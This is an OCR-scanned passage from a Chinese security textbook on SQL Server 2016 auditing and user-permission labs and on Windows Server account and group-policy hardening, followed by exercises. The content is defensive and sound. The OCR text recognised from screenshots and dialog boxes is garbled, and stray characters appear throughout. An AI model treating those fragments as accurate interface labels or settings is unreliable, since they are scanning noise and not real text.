Windows 应 用 程序 日 志 或 指定 位 置 的 文件 中 。 为 审核 命名 并 配置 其 特征 (如 审核 文件 的 
路 径 和 最 大 容量 ) 。 还 可 选择 在 审核 失败 时 关闭 SQL Server。 如 果 需 将 所 审核 事件 记录 
到 多 个 位 置 , 只 需 创建 多 个 审核 即 可 。 

之 后 应 创建 一 个 或 多 个 审核 规范 。 服 务 器 审核 规范 收集 有 关 SQL Server 实例 的 信 
息 ,并 且 包 括 服务 器 范围 内 的 对 象 (如 登录 和 服务 器 角色 成 员 身 份 )。 它 还 包括 在 主 数据 
库 中 管理 的 数据 库 信息 (如 访问 权限 )。 在 定义 审核 规范 时 , 需 指定 由 哪个 审核 来 接收 监 
控 事 件 。 可 定义 多 个 服务 器 审核 及 其 审核 规范 ,但 各 服务 器 审核 每 次 仅 可 包含 一 个 已 启 
用 的 服务 器 审核 规范 。 
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4. 基于 策略 的 管理 


SQL Server 2016 可 创建 策略 来 测试 和 报告 SQL Server 的 多 个 方面 ,并 且 可 将 策略 
应 用 于 单个 数据 库 .单个 SQL Server 实例 或 所 管理 的 所 有 SQL Server。 通 过 使 用 基于 
策略 的 管理 ,可 测试 SQL Server 配置 选项 和 许多 安全 设置 。 

在 SQL Server 2016 中 ,默认 禁用 了 许多 不 必要 的 功能 ,以 最 小 化 遭受 攻击 的 风险 。 
可 使 用 基于 策略 的 管理 来 有 选择 性 地 启用 所 需 的 任何 其 他 功能 。 然 后 ,可 定期 评估 配 
置 ,如 配置 的 设置 与 策略 不 匹配 将 会 警报 。 

后 讨论 思考 

(1) 如 何 进行 数据 库 的 用 户 安全 管理 ? 

(2) 结合 SQL Server 2016 实例 说 明 用 户 安全 管理 方法 。 


97 实验 九 : SQL Server 2016 用 户 安全 管理 


971 实验 目的 


通过 对 SQL Server 2016 的 用 户 安全 管理 ,达到 如 下 目的 : 
(1) 理解 SQL Server 2016 身份 认证 模式 。 

(2) 掌握 SQL Server 2016 创建 和 管理 登录 用 户 的 方法 。 
(3) 了 解 创建 应 用 程序 角色 的 过 程 和 方法 。 

(4) 掌握 管理 用 户 权限 的 操作 方法 。 


972 实验 要 求 


实验 设备 : 装 有 SQL Server 2016 的 联网 计算 机 。 
实验 用 时 : 2 学 时 (90 一 120min) 。 


973 实验 内 容 及 步骤 


1. SQL Server 2016 认证 模式 


SQL Server 2016 提供 Windows 身份 和 混合 安全 身份 两 种 认证 模式 。 在 第 一 次 安 
装 SQL Server 2016 或 使 用 SQL Server 2016 连接 其 他 服务 器 时 ,需要 指定 认证 模式 。 
对 于 已 经 指定 认证 模式 的 SQL Server 2016 服务 器 仍然 可 以 设置 和 修改 身份 认证 
模式 。 

(1) 打开 SSMS(SQL Server Management Studio) 窗 口 ,选择 一 种 身份 认证 模式 , 建 
立 与 服务 器 的 连接 。 

(2) 在 “对 象 资源 管理 器 ”窗口 中 右 击 服务 器 名 称 ,在 弹出 的 快捷 菜单 中 选择 “属性 ” 
命令 ,打开 “服务 器 属性 ”对 话 框 。 
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(3) 在 “选项 页 ”列表 中 单 击 “ 安 全 性 ”, 打 开 如 图 9-7 所 示 的 “安全 性 ”选项 ,其 中 可 以 
设置 身份 认证 模式 。 


Ë 服务 器 属性 - 3ED4769CF3A743B 


O SQL Server 和 Yindows 身份 验证 模式 G) 


F: 2231 
OF 
@ tukay Q) 

O stena 四) 

O *#nmus2 o 
服务 器 代理 帐户 
口 局 用 服务 器 代理 帐户 (O) 
few Q) 

密码 中 


选项 
口 衬 合 启用 通用 条 件 0) 


服务 器 
3ED4T69CP3AT438 


器 jacrareaawasusuar CBR cc wt 
m SsEismmit 口 路 数据 库 所 有 权 许 接 p) 


9-7 安全 性 属性 


通过 单 选 按钮 来 选择 使 用 的 SQL Server 2016 服务 器 身份 认证 模式 。 不 管 使 用 哪 种 
模式 ,都 可 以 通过 审核 来 跟踪 访问 SQL Server 2016 的 用 户 , 默 认 设置 下 仅 审核 失败 的 

启用 审核 后 ,用 户 的 登录 被 写 人 Windows 应 用 程序 日 志 、SQL Server 2016 错误 日 
志 或 同时 写 人 两 者 之 中 ,取决 于 对 SQL Server 2016 日 志 的 配置 。 可 用 的 审核 选项 有 : 
无 (禁止 跟踪 审核 )、 仅 限 失败 的 登录 (默认 设置 ,选择 后 仅 审核 失败 的 登录 尝试 ) 、 仅 限 成 
功 的 登录 ( 仅 审核 成 功 的 登录 尝试 )、 失 败 和 成 功 的 登录 (审核 所 有 成 功 和 失败 的 登录 
尝试 ) 。 


2. 管理 服务 器 账号 


1) 查看 服务 器 登录 账号 

打开 “对 象 资源 管理 器 ”, 可 以 查看 当前 服务 器 所 有 登录 账户 。 在 “对 象 资源 管理 器 ” 
中 ,选择 “安全 性 ”, 之 后 选择 “登录 名 ”, 如 图 9-8 所 示 。 列 出 的 登录 名 为 安装 时 的 默认 
设置 。 

2) 创建 SQL Server 2016 登录 账户 

(1) 打开 SQL Server Management Studio, 展 开 “ 服 务 器 ”, 然 后 选择 “安全 性 ”。 

(2) 右 击 “ 登 录 名 ”, 从 弹出 的 快捷 菜单 中 选择 “新 建 登录 名 ”命令 ,打开 ”登录 名 -新 


E. Nicrosoft SQL Server Wanagement Studio 
文件 全 编辑 人 E) 视图 WD 工具 窗口 @J 社区 人 ) 
也 新 建 查询 四 š 2 d 3 =Š 


L A 


E [É 3ED4T69CF3AT43B (SQL Server 10.0.1600 - 3ED4769CF3AT43B\Adni 国 | 


国 国 数据 库 
日 Ca 安全 性 
sa 
##NS_PolicyEventProcessingLoginfe 

(8, #mtS_PolicyTsq1ExecutionLogin#e 
A 3ED4769CF3AT43B A Administrator 
WT AUTHORITIN NETWORK SERVICE 
加 WT AUTHORITYASYSTEM 


= 国 服务 器 审核 规范 
国 国 服务 器 对 象 


— = =a 


图 9-8 对象 资源 管理 器 


建 ? 对 话 框 。 


(3) 输入 登录 名 NewLogin ,选择 SQL Server 身份 认证 并 输入 符合 密码 策略 的 密码 ， 


默认 数据 库 设置 为 master, 如 图 9-9 所 示 。 


Sm - Dy gb 
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smao: HewLogin 


〇 indors 身份 验证 名 


服务 器 
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连接 
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提供 程序 


图 9-9 新 建 登录 名 
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(4) 在 “服务 器 角色 ”页 面 给 该 登录 名 选择 一 个 固定 的 服务 器 角色 。 在 “用 户 映 射 ”页 
面 选择 该 登录 名 映射 的 数据 库 并 为 之 分 配 相应 的 数据 库 角 色 , 如 图 9-10 所 示 。 


me - D) gb 


映射 到 此 登录 名 的 用 户 0). 
E: 13 

器 |== 
model 
ms 


BeportServer 
BeportServerTenpDB 
tenpdb 


已 启用 caszt 帐户 - waster 


数据 库 角 色 成 员 身份 8): ssster 


服务 器 
3ED4T69CF3AT438 


连接 
3ED4769CF3AT43B\Adninistrater 


于 ”查看 连接 属性 


9-10 ”服务 器 角色 设置 


(5) 在 “安全 对 象 "页 面 ,为 该 登录 名 配置 具体 的 表 级 权限 和 列 级 权限 。 配 置 完 成 后 
单 击 “ 确 定 ” 按 钮 返回 。 

3) 修改 /删除 登录 名 

(1) 在 SQL Server Management Studio 中 , 右 击 登录 名 ,在 弹出 的 快捷 菜单 中 选择 
“属性 ”命令 ,打开 “登录 属性 ”对 话 框 。 该 对 话 框 格式 与 “登录 名 -新 建 ” 对 话 框 相同 ,用 户 
可 以 修改 登录 信息 ,但 不 能 修改 身份 认证 模式 。 

(2) 在 SQL Server Management Studio 中 , 右 击 登录 名 ,在 弹出 的 快捷 菜单 中 选择 
“删除 ”命令 ,打开 * 删 除 对 象 " 窗 口 , 单 击 * 确 定 ” 按 钮 可 以 删除 选择 的 登录 名 。 默 认 登 录 
名 sa 不 允许 删除 。 


3. 创建 应 用 程序 角色 


(1) 打开 SQL Server Management Studio, 展 开 “ 服 务 器 ”, 依 次 选择 “数据 库 ” 一 
master>“ 安 全 性 ”>“ 角 色 ”, 右 击 “ 应 用 程序 角色 ”, 在 弹出 的 快捷 菜单 中 选择 “新 建 应 用 
程序 角色 ”命令 。 

(2) 在 “角色 名 称 ” 文 本 框 中 输入 demo, 然 后 在 “默认 架构 ?文本 框 中 输入 dbo, 在 密 
码 和 确认 密码 文本 框 中 输入 相应 密码 ,如 图 9-11 所 示 。 

(3) 在 “安全 对 象 ” 页 面 上 单 击 “搜索 ”按钮 ,选择 “特定 对 象 ” 单 选 按钮 ,然后 单 击 “ 确 
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应 用 程序 角色 ， 
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Qh backupoperator 


服务 器 
3ED4T89CF3AT438 
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图 9-11 新 建 应 用 程序 角色 


定 ” 按 钮 。 单 击 “ 对 象 类 型 "按钮 ,选择 “ 表 ”, 单 击 “ 浏 览 ” 按 钮 ,选择 spt_fallback_db 表 , 然 
后 单 击 “ 确 定 ” 按 钮 。 

(4) 在 spt_fallback_db 显示 权限 列表 中 ,启用 “选择 ”, 然 后 选择 “授予 " 复 选 框 , 单 击 
“确定 ”按钮 。 


4. 管理 用 户 权限 


(1) 单 击 SSMS, 打 开 “ 服 务 器 ”, 依 次 选择 “数据 库 ” 一 master 一 “安全 性 ”一 “ 用 户 ”。 

(2) 右 击 NewLogin, 在 弹出 的 快捷 菜单 中 选择 “属性 "命令 ,打开 “数据 库 用 户 - 
NewLogin” 对 话 框 。 

(3) 选择 “选项 页 ”中 的 “安全 对 象 ”, 之 后 选择 “权限 ”选项 页 面 , 单 击 “ 搜 索 ” 按 钮 打 
开 “ 添 加 对 象 ” 对 话 框 ,并 选择 其 中 “特定 对 象 ”, 然 后 选择 “确定 ”后 打开 “选择 对 象 ” 对 
话 框 。 

(4) 单 击 “ 对 象 类 型 "按钮 ,打开 “选择 对 象 类 型 ”对话 框 ,选中 “数据 库 ”, 单 击 “ 确 定 ” 
按钮 后 返回 ,此 时 “浏览 ”按钮 被 激活 。 单 击 “ 浏 览 ” 按 钮 打开 “查找 对 象 ” 对 话 框 。 

(5) 选中 数据 库 master, 一 直 单 击 “ 确 定 ” 按 钮 后 返回 “数据 库 用 户 -NewLogin” 对 话 
框 ,如 图 9-12 所 示 。 此 时 数据 库 master 及 其 对 应 的 权限 出 现在 窗口 中 ,可 以 通过 勾 选 
复 选 框 的 方式 设置 用 户 权限 。 配 置 完成 后 , 单 击 “ 确 定 ” 按 钮 就 完成 了 用 户 权 限 的 


设置 。 
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图 9-12 管理 用 户 权 限 


98 本 章 小 结 


数据 安全 是 网 络 安 全 的 关键 ,数据 库 是 各 种 重要 数据 处 理 、 使 用 和 存储 的 核心 。 本 
章 概要 介绍 了 数据 库 系统 安全 的 概念 与 内 涵 、 层 次 结构 及 安全 威胁 与 隐患 的 要 素 .数据 
库 安 全 研究 概况 等 相关 知识 。 简 要 介绍 了 数据 库 的 安全 特性 : 安全 性 、 完 整 性 、 并 发 控 


制备 份 与 恢复 等 ,以 及 数据 库 的 安全 策略 和 机 制 、 数 据 库 安全 体系 与 防护 技术 、 网 络 月 


H 


户 安全 管理 和 SQL Server 2016 网 络 用 户 安 全 管理 实例 等 相关 内 容 。 数 据 库 系统 的 安全 
体系 框架 划分 为 3 个 层次 : 网 络 系统 层 、 宿 主 操作 系统 层 和 数据 库 管理 系统 层 , 一 起 构成 
数据 库 系 统 的 安全 体系 。 网 络 数据 库 的 主要 体系 为 多 级 、 互 联 和 安全 级 别 差异 ,其 安全 
性 不 仅 关 系 到 数据 库 之 间 的 安全 ,而 且 关 系 到 一 个 数据 库 中 多 级 功能 的 安全 性 。 应 侧重 
考虑 两 个 层面 : 一 是 外 围 层 的 安全 , 即 操作 系统 、 传 输 数据 的 网 络 `Web 服务 器 以 及 应 用 
服务 器 的 安全 ;二 是 数据 库 核心 层 的 安全 , 即 数据 库 本 身 的 安全 。 最 后 ,概述 了 SQL 


Server 2016 用 户 安 全 管理 实验 内 容 和 过 程 。 
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99 练习 与 实践 九 


1. 选择 题 


(1) 数据 库 系统 的 安全 不 仅 依赖 于 自身 内 部 的 安全 机 制 ,还 与 外 部 网 络 环境 .应 用 环 
境 . 从业 人 员 素 质 等 因素 息息相关 ,因此 ,数据 库 系 统 的 安全 框架 划分 为 3 个 层次 : 网 络 
系统 层 ,宿主 操作 系统 层 、(  ).3 个 层次 一 起 形成 数据 库 系统 的 安全 体系 。 
A. 硬件 层 B. 数据 库 管理 系统 层 
C. 应 用 层 D. 数据 库 层 
(2) 数据 完整 性 是 指数 据 的 精确 性 和 ( )。 它 是 为 防止 数据 库 中 存在 不 符合 语义 
规定 的 数据 和 防止 因 错误 信息 的 输入 输出 造成 无 效 操作 或 错误 信息 而 提出 的 。 数 据 完 
整 性 分 为 4 类 : 实体 完整 性 , 域 完整 性 .参照 完整 性 .用户 定义 的 完整 性 。 


A. 完整 性 B. 一 致 性 C. 可 靠 性 D. 实时 性 
(3) 本 质 上 ,网 络 数 据 库 是 一 种 能 通过 计算 机 网 络 通信 进行 组 织 、( ) .检索 的 相 
关 数 据 集合 。 
A. 查找 B. 存储 C. 管理 D. 修改 


(4) 考虑 到 数据 转 存 效率 、 数 据 存 储 空间 等 相关 因素 ,数据 转 存 可 以 考虑 完全 转 存 
(备份 ) 与 ( ) 转 存 (备份 ) 两 种 方式 。 
A. 事务 B. 日 志 C. 增 量 D. 文件 
(5) 保障 网 络 数 据 库 系统 安全 ,不 仅 涉及 应 用 技术 ,还 包括 管理 等 层面 上 的 问题 ,是 
各 个 防范 措施 综合 应 用 的 结果 ,是 物理 安全 、 网 络 安全 、( ) 安 全 等 方面 的 防范 策略 有 
效 的 结合 。 
A. 管理 B. 内 容 C. 系统 D. 环境 
(6) 通常 ,数据 库 的 保密 性 和 可 用 性 之 间 不 可 避免 地 存在 冲突 。 对 数据 库 加 密 必然 
会 带 来 数据 存储 与 索引 、( ) 和 管理 等 一 系列 问题 。 


A. 有 效 查找 B. 访问 特权 C. 用 户 权 限 D. 密 钥 分 配 
2. 填空 题 
(1) SQL Server 2016 提供 两 种 身份 认证 模式 来 保护 对 服务 器 访问 的 安全 ,分 别 是 
和 ° 
(2) 数据 库 的 保密 性 是 在 对 用 户 的 š 及 推理 控制 等 安全 
机 制 的 控制 下 得 以 实现 。 
(3) 数据 库 中 的 事务 应 该 具有 4 种 属性 : š N. 和 持久 性 。 
(4) 网 络 数据 库 系统 的 体系 结构 分 为 两 种 类 型 : 和 " 
(5) 访问 控制 策略 、 和 构成 网 络 数据 库 访问 控制 模型 。 
(6) 在 SQL Server 2016 中 可 以 为 登录 名 配置 具体 的 权限 和 


权限 。 
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(1) 简 述 网 络 数据 库 结 构 中 C/S 与 B/S 的 区 别 。 
(2) 网 络 环境 下 ,如 何 对 网 络 数 据 库 进行 安全 防护 ? 
(3) 数据 库 的 安全 管理 与 数据 的 安全 管理 有 何不 同 ? 
(4) 如 何 保障 数据 的 完整 性 ? 

(5) 如 何 对 网 络 数据 库 的 用 户 进行 管理 ? 


4. 实践 题 


(1) 在 SQL Server 2016 中 进行 用 户 密码 的 设置 ,体现 出 密码 的 安全 策略 。 
(2) 通过 实例 说 明 SQL Server 2016 中 如 何 实现 透明 加 密 。 


操作 系统 及 站 点 安全 


随 着 信息 技术 的 快速 发 展 和 广泛 应 用 ,网 络 操作 系统 及 网 站 安全 的 重要 性 更 加 突 
出 。 操 作 系 统 是 实现 计算 机 和 网 络 各 项 服务 的 核心 和 基础 ,因此 ,操作 系统 本 身 和 其 提 
供 服务 的 安全 性 是 信息 安全 管理 的 重要 内 容 , 其 安全 性 主要 体现 在 所 提供 的 安全 功能 和 
安全 服务 上 ,并 针对 常用 操作 系统 和 站 点 进行 安全 管理 和 防范 。 


BE 教 学 目标 


。 理解 网 络 操作 系统 安全 面临 的 威胁 及 脆弱 性 。 
。 掌握 网 络 操作 系统 安全 的 概念 和 内 容 。 
° 掌握 网 络 站 点 安全 技术 相关 概念 。 


101 Windows 操作 系统 的 安全 


【案例 10-1】 在 2015 年 7 月 ,微软 公司 正式 宣布 ,停止 支持 Windows Server 2003, 
未 来 不 再 发 布 任何 安全 更 新 。 但 是 ,根据 网 络 服务 提供 商 Netcraft 的 调查 显示 ,目前 全 
球 仍 有 超过 60 万 台 网 站 服务 器 使 用 Windows Server 2003 超过 12 年 ,而 这 些 服 务 器 约 
代 管 了 1.75 亿 个 网 站 。 其 中 ,美国 及 中 国 的 这 类 网 站 占 全 球 的 55%。 


1011 Windows 系统 安全 概述 


目前 ,常用 的 网 络 操 作 系 统 有 Windows NT/2000 Server, Windows Server 2003、 
Windows Server 2008、Windows Server 2016、UNIX 和 Linux 等 ,其 安全 性 对 整个 网 络 
系统 非常 重要 。Windows Server 2016 是 微软 于 2016 年 发 布 的 ,是 最 新 的 服务 器 操作 系 
统 。 该 系统 增强 了 安全 控制 ,具有 强大 的 身份 认证 机 制 , Windows Defender 在 出 三 的 时 
候 已 经 安装 好 而 且 已 启用 , Windows Server 2016 还 有 灾难 恢复 、 网 卡 容错 等 功能 ,支持 
拒绝 服务 (DoS) 保 护 , 并 包含 一 些 诸如 包头 压缩 ,协议 块 大 小 和 流量 控制 等 安全 特性 。 

Windows 系统 安全 主要 包括 以 下 几 个 方面 。 

1) Windows 文件 系统 

NTFS(Windows NT File System) 是 Windows NT 采用 的 新 型 文件 系统 , 它 建立 在 
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保护 文件 和 目录 数据 的 基础 上 ,可 提供 安全 存 取 控制 及 容错 能 力 , 同 时 节省 存储 资源 , 减 
少 磁 盘 占 用 量 。 在 大 容量 磁盘 上 , 它 的 效率 比 FAT 高 。 

NTFS 权限 不 但 支持 通过 网 络 访问 的 用 户 对 访问 系统 中 文件 的 访问 控制 ,也 支持 在 
同一 台 计 算 机 上 以 不 同 的 用 户 登 录 , 对 硬盘 的 同一 个 文件 可 以 有 不 同 的 访问 权限 。 当 一 
个 用 户 试图 访问 文件 或 者 文件 夹 时 ,NTFS 系统 会 检查 用 户 使 用 的 账户 或 者 账户 所 属 的 
组 是 否 在 此 文件 或 文件 夹 的 访问 控制 列表 (ACL) 中 ,如 果 在 , 则 进一步 检查 访问 控制 项 
(ACE) ,根据 控制 项 中 的 权限 来 判断 用 户 所 具有 的 权限 ;如 果 访 问 控 制 表 中 没有 账户 或 
所 属 的 组 ,那么 拒绝 用 户 访问 。 

2) 域 

域 (domain) 是 一 组 由 网 络 连接 而 成 的 计算 机 群 组 ,是 Windows NT 中 数据 安全 和 集 
中 管理 的 基本 单位 , 域 中 各 计算 机 是 一 种 不 平等 的 关系 ,可 以 将 计算 机 内 的 资源 共享 给 
域 中 的 其 他 用 户 访问 。 域 内 所 有 计算 机 和 用 户 共享 一 个 集中 控制 的 活动 目录 数据 库 , 目 
录 数 据 库 中 包括 了 域内 所 有 计算 机 的 用 户 账户 等 对 象 的 安全 信息 ,这 个 目录 数据 库存 在 
于 域 控 制 器 中 。 当 计算 机 联 入 网 络 时 , 域 控制 器 首先 要 鉴别 用 户 使 用 的 登录 账号 是 否 存 
在 ,密码 是 否 正确 。 如 果 以 上 信息 不 正确 , 域 控制 器 就 拒绝 登录 。 用 户 就 不 能 访问 服务 
器 上 有 权限 保护 的 资源 ,只 能 以 对 等 网 用 户 的 方式 访问 Windows 共享 的 资源 ,这 样 就 在 
一 定 程度 上 保护 了 网 络 上 的 资源 。 一 个 网 络 中 ,可 以 包含 一 个 或 多 个 域 ,通过 设置 将 多 
个 域 设置 成 活动 目录 树 。 

3) 用 户 和 用 户 组 

在 Windows NT 中 ,用 户 账号 中 包含 用 户 的 名 称 与 密码 .用户 所 属 的 组 .用户 的 权利 
和 用 户 的 权限 等 相关 数据 。 当 安装 工作 组 或 独立 的 服务 器 系统 时 ,系统 会 默认 创建 一 批 
内 置 的 本 地 用 户 和 本 地 用 户 组 ,存放 在 本 地 计算 机 的 SAM(Security Accounts Manager, 
安全 账户 管理 器 ) 数 据 库 中 ;而 当 安 装 成 为 域 控制 器 的 时 候 , 系 统 则 会 创建 一 批 域 组 账 
号 。 组 是 用 户 或 计算 机 账户 的 集合 ,可 以 将 权限 分 配给 一 组 用 户 而 不 是 单个 账户 ,从 而 
简化 系统 和 网 络 管理 。 当 将 权限 分 配给 组 时 ,组 的 所 有 成 员 都 将 继承 那些 权限 。 除 用 户 
账户 外 ,还 可 以 将 其 他 组 ,联系 人 和 计算 机 添加 到 组 中 。 将 组 添加 到 其 他 组 可 创建 合并 
组 权限 并 减少 分 配 权限 的 次 数 。 

用 户 账户 通过 用 户 名 和 密码 进行 标识 ,用 户 名 是 账户 的 文本 标签 ,密码 则 是 账户 的 
身份 验证 字符 串 。 虽 然 Windows 通过 用 户 名 来 区 别 不 同 的 账户 ,但 真正 区 别 不 同 账户 
的 是 安全 标识 符 (Security Identifiers,SID) ,SID 是 被 系统 用 来 唯一 标识 安全 主体 的 , 安 
全 主体 既 可 以 是 系统 用 户 ,也 可 以 是 系统 内 的 组 ,甚至 是 域 。 当 系统 中 创建 一 个 用 户 或 
一 个 用 户 组 的 时 候 ,系统 就 会 分 配给 该 用 户 或 组 一 个 唯一 的 SID ,是 独立 于 用 户 名 的 ,是 
由 系统 及 用 户 的 相关 信息 生成 的 一 个 字符 串 , 如 S-1-5-21-310440588-250036847- 
580389505-500。 因 此 ,更 改 用 户 名 时 ,系统 将 特定 的 SID 重新 映射 到 新 的 用 户 名 上 ,这 
样 就 不 会 使 原先 设置 的 用 户 控制 权限 丢失 ; 当 删 除 账 户 时 ,即使 重新 创建 相同 的 用 户 名 ， 
新 账户 也 不 会 具有 相同 的 访问 权限 ,因为 系统 会 给 新 账户 分 配 一 个 新 的 SID, 

安装 之 后 ,系统 会 自动 建立 两 个 账户 ,一 个 是 系统 管理 员 账户 Administrator, 对 系统 
操作 及 安全 规则 有 完全 的 控制 权 ; 另 一 个 是 提供 来 宾 用 户 访问 网 络 中 资源 的 Guest 账 
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户 , 由 于 安全 原因 ,通常 建议 Guest 账户 设置 为 禁用 状态 。 这 两 个 账户 均 可 以 改名 ,但 都 
不 能 删除 。 除 了 用 户 账户 外 , Windows 还 有 一 些 内 置 的 用 户 组 ,每 个 组 都 被 赋予 特殊 的 
权限 : 

(1) Administrators 组 。 具 有 所 有 的 权利 ,同时 ,Administrators 组 可 以 执行 操作 系 
统 提供 的 所 有 功能 。 也 自动 拥有 对 于 磁盘 上 所 有 文件 和 文件 夹 的 操作 权限 。 

(2) Users( 用 户 )。 该 组 成 员 可 以 登录 和 运行 应 用 程序 ,也 可 以 关闭 和 锁定 操作 系 
统 , 但 是 不 能 安装 应 用 程序 ,如 果 用 户 有 登录 到 本 地 机 器 的 权限 , 则 也 有 创建 本 地 组 和 管 
理 员 所 创建 的 组 的 权限 。 

(3) Power User 组 。 在 Windows Server 2003 及 以 前 的 版 本 中 ,该 组 成 员 可 创建 和 
修改 本 地 用 户 账 号 ,有 比较 多 的 管理 权限 。 但 在 Windows Server 2016 中 ,这 些 权 限 被 
取消 。 

(4) Guests 组 。 该 组 成 员 只 能 执行 被 特别 授予 权限 的 任务 ,而且 只 能 访问 被 授权 的 
资源 。 在 默认 状态 下 ,Guest 属于 该 组 成 员 。 

(5) Replicators 组 。 该 组 成 员 被 严格 地 用 于 目录 复制 ,可 以 设置 一 个 账户 用 于 执行 
复制 器 服务 。 

(6) Backup Operators 组 。 该 组 成 员 具 有 备份 和 恢复 文件 的 权限 ,无 论 是 否 有 访问 
这 些 文件 的 权限 。 

(7) Net Configuration Operators 组 。 该 组 成 员 可 以 执行 常规 的 网 络 配置 功能 ,如 更 
改 IP 地 址 ,但 不 能 安装 和 和 印 载 驱 动 程序 与 服务 ,也 可 以 执行 与 网 络 服务 器 配置 有 关 的 
功能 。 

除了 以 上 标准 用 户 组 以 外 ,还 有 Domain admins( 域 管理 员 组 )、Domain users( 域 用 
户 组 )、Domain guests( 域 来 宾 组 )、Account operators( 账 户 操作 员 组 )、Print Operators 
(打印 操作 员 组 ) 和 Server Operators( 服 务 器 操作 员 组 ) 。 

4) 身份 验证 

身份 验证 是 实现 系统 及 网 络 合法 访问 的 关键 一 步 ,主要 对 试图 访问 系统 的 用 户 进行 
身份 验证 。Windows Server 2003 将 用 户 账号 信息 保存 在 SAM 数据 库 中 ,用 户 登 录 时 输 
入 的 账号 和 密码 需要 在 SAM 数据 库 中 查找 和 匹配 。 通 过 设置 可 以 提高 密码 的 破解 难 
度 , 提 高 密码 的 复杂 性 , 增 大 密码 的 长 度 ,提高 更 换 频率 等 。Windows 10 开始 的 身份 验 
证 一 般 包 括 交互 式 登录 和 网 络 身 份 验 证 两 方面 内 容 。 

对 用 户 进 行 身份 验证 时 ,根据 不 同 要 求 ,可 使 用 多 种 行业 标准 类 型 的 身份 验证 方法 : 
一 是 Kerberos v5, 主 要 用 于 交互 式 登录 到 域 和 网 络 身份 验证 ,是 与 密码 和 智能 卡 一 起 使 
用 的 登录 协议 ;二 是 为 了 保护 Web 服务 器 而 进行 双向 的 身份 验证 ,提供 基于 公私 钥 技 术 
的 安全 套 接 字 层 (SSL) 和 传输 层 安全 (TLS) 协 议 ; 三 是 摘要 式 身 份 验证 ,是 将 凭证 作为 
MD5 散 列 值 或 消息 摘要 在 网 络 上 传递 ;四 是 Passport 身份 验证 ,是 用 于 提供 单 点 登录 服 
务 的 用 户 身 份 验 证 服务 。 

Windows Server 2016 有 一 个 很 强大 的 通过 Microsoft Passport 的 认证 选项 ,依赖 于 
Azure 的 公 钥 和 私 钥 对 在线 公 钥 管 理 和 终端 的 Trusted Platform Module 芯片 。 在 功能 
上 还 加 强 了 活动 目录 联合 服务 (ADFS) 和 Azure Active Directory(AAD), 其 中 包括 轻 量 


280 


. 
(D58223 B bat 第 2 版 ) 


目录 访问 协议 (Lightweight Directory Access Protocol) .访问 控制 策略 和 单 点 登录 。 

5) 访问 控制 

访问 控制 是 按 用 户 身份 及 其 所 归属 的 组 来 限制 用 户 对 某 些 信息 项 的 访问 ,或 限制 对 
某 些 控制 功能 的 使 用 的 一 种 技术 。 访 问 控制 通常 用 于 系统 管理 员 控 制 用 户 对 服务 器 、 目 
录 文件 等 网 络 资源 的 访问 。 访 问 控制 包括 3 个 要 素 : 主体 、 客 体 和 控制 策略 。 

访问 控制 是 限制 访问 主体 对 客体 的 访问 ,从 而 保障 数据 资源 在 合法 范围 内 得 以 有 效 
使 用 和 管理 。 保 证 合法 用 户 访问 受权 限 保护 的 网 络 资源 ,防止 非法 的 主体 访问 受 保 护 的 
网 络 资源 ,或 防止 合法 用 户 对 受 保护 的 网 络 资源 进行 非 授 权 的 访问 。 访 问 控制 首先 需要 
对 用 户 身 份 的 合法 性 进行 验证 ,同时 利用 控制 策略 进行 选用 和 管理 工作 。 当 用 户 身份 和 
访问 权限 验证 通过 之 后 ,还 需要 对 越权 操作 进行 监控 ,因此 ,访问 控制 的 内 容 包 括 认 证 、 
控制 策略 实现 和 安全 审计 。 具 体 见 第 6 章 介 绍 。 

6) 组 策略 

组 策略 (group policy) 是 管理 员 为 用 户 和 计算 机 定义 并 控制 程序 .网 络 资源 及 操作 系 
统 行 为 的 主要 工具 。 通 过 使 用 组 策略 可 以 设置 各 种 软件 .计算 机 和 用 户 策略 。 组 策略 对 
象 (Group Policy Object,GPO) 实 际 上 就 是 组 策略 设置 的 集合 。 组 策略 的 设置 结果 是 保 
存在 GPO 中 的 。 组 策略 的 功能 主要 包括 账户 策略 的 设置 .本 地 策略 的 设置 .脚本 的 设 
置 ,用户 工 作 环境 的 设置 .软件 的 安装 与 删除 .限制 软件 的 运行 ,文件 夹 的 重 定向 .限制 访 
问 可 移动 存储 设备 和 其 他 系统 设置 。 在 Windows Server 2016 系统 中 ,系统 用 户 和 用 户 
组 策略 管理 功能 仍然 存在 。 这 些 组 策略 设置 权限 可 以 在 域 .用 户 组 织 单位 (Organization 
Unit,OU) ,站 点 或 本 地 计算 机 权限 层级 上 申请 , 即 在 组 策略 配置 方式 上 发 生 改 变 。 


1012 ”Windows 安全 配置 管理 


Windows Server 2016 是 比较 成 熟 的 网 络 服务 器 平台 ,安全 性 有 很 大 的 提高 ,但 是 其 
默认 的 安全 配置 不 一 定 适合 用 户 需要 ,所 以 ,需要 根据 实际 情况 对 Windows Server 2016 
进行 全 面 的 安全 配置 ,以 提高 服务 器 的 安全 性 。 


1. 账户 管理 和 安全 策略 


(1) 更 改 默认 的 管理 员 账 户 名 (Administrator) 和 描述 ,口令 最 好 采用 数字 和 大 小 写 
字母 组 合 ,长 度 最 好 不 少 于 14 位 。 

(2) 新 建 一 个 名 为 Administrator 的 陷阱 账户 ,为 其 设置 最 小 的 权限 ,然后 随便 输入 
最 好 不 低 于 20 位 的 口令 。 

(3) 将 Guest 账户 禁用 ,并 更 改名 称 和 描述 ,然后 输入 一 个 复杂 的 密码 。 

(4) 在 “运行 "窗口 中 输入 gpedit. msc 命令 ,在 打开 的 “组 策略 编辑 器 ”窗口 中 ,按照 
树 形 结构 依次 选择 “计算 机 配置 ”>“Windows 设置 ”一 “安全 设置 >“ 账户 策略 ”>“ 账 户 
锁定 策略 ”, 在 右 侧 子 窗口 中 对 “账户 锁定 策略 ”的 3 种 属性 分 别 进 行 设置 :“ 账 户 锁定 阔 
值 ? 设 为 “3 次 无 效 登录 ”,“ 账 户 锁定 时 间 ” 设 为 30min,“ 复 位 账户 锁定 计数 器 ” 设 
为 30min。 

(5) 同样 ,在 “组 策略 编辑 器 ”窗口 中 ,依次 选择 “计算 机 配置 "一 “Windows 设置 ”一 
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“安全 设置 ”>“ 本 地 策略 ”>“ 安 全 选项 ”, 在 右 侧 子 窗口 中 将 “登录 屏幕 上 不 要 显示 上 次 
登录 的 用 户 名 ”设置 为 “启用 ”。 

(6) 在 “组 策略 编辑 器 "窗口 中 ,依次 选择 “计算 机 配置 ">“Windows 设置 ”>“ 安 全 
设置 ">“ 本 地 策略 >“ 用户 权利 分 配 ”, 在 右 侧 子 窗口 中 将 “从 网 络 访问 此 计算 机 ”项 中 
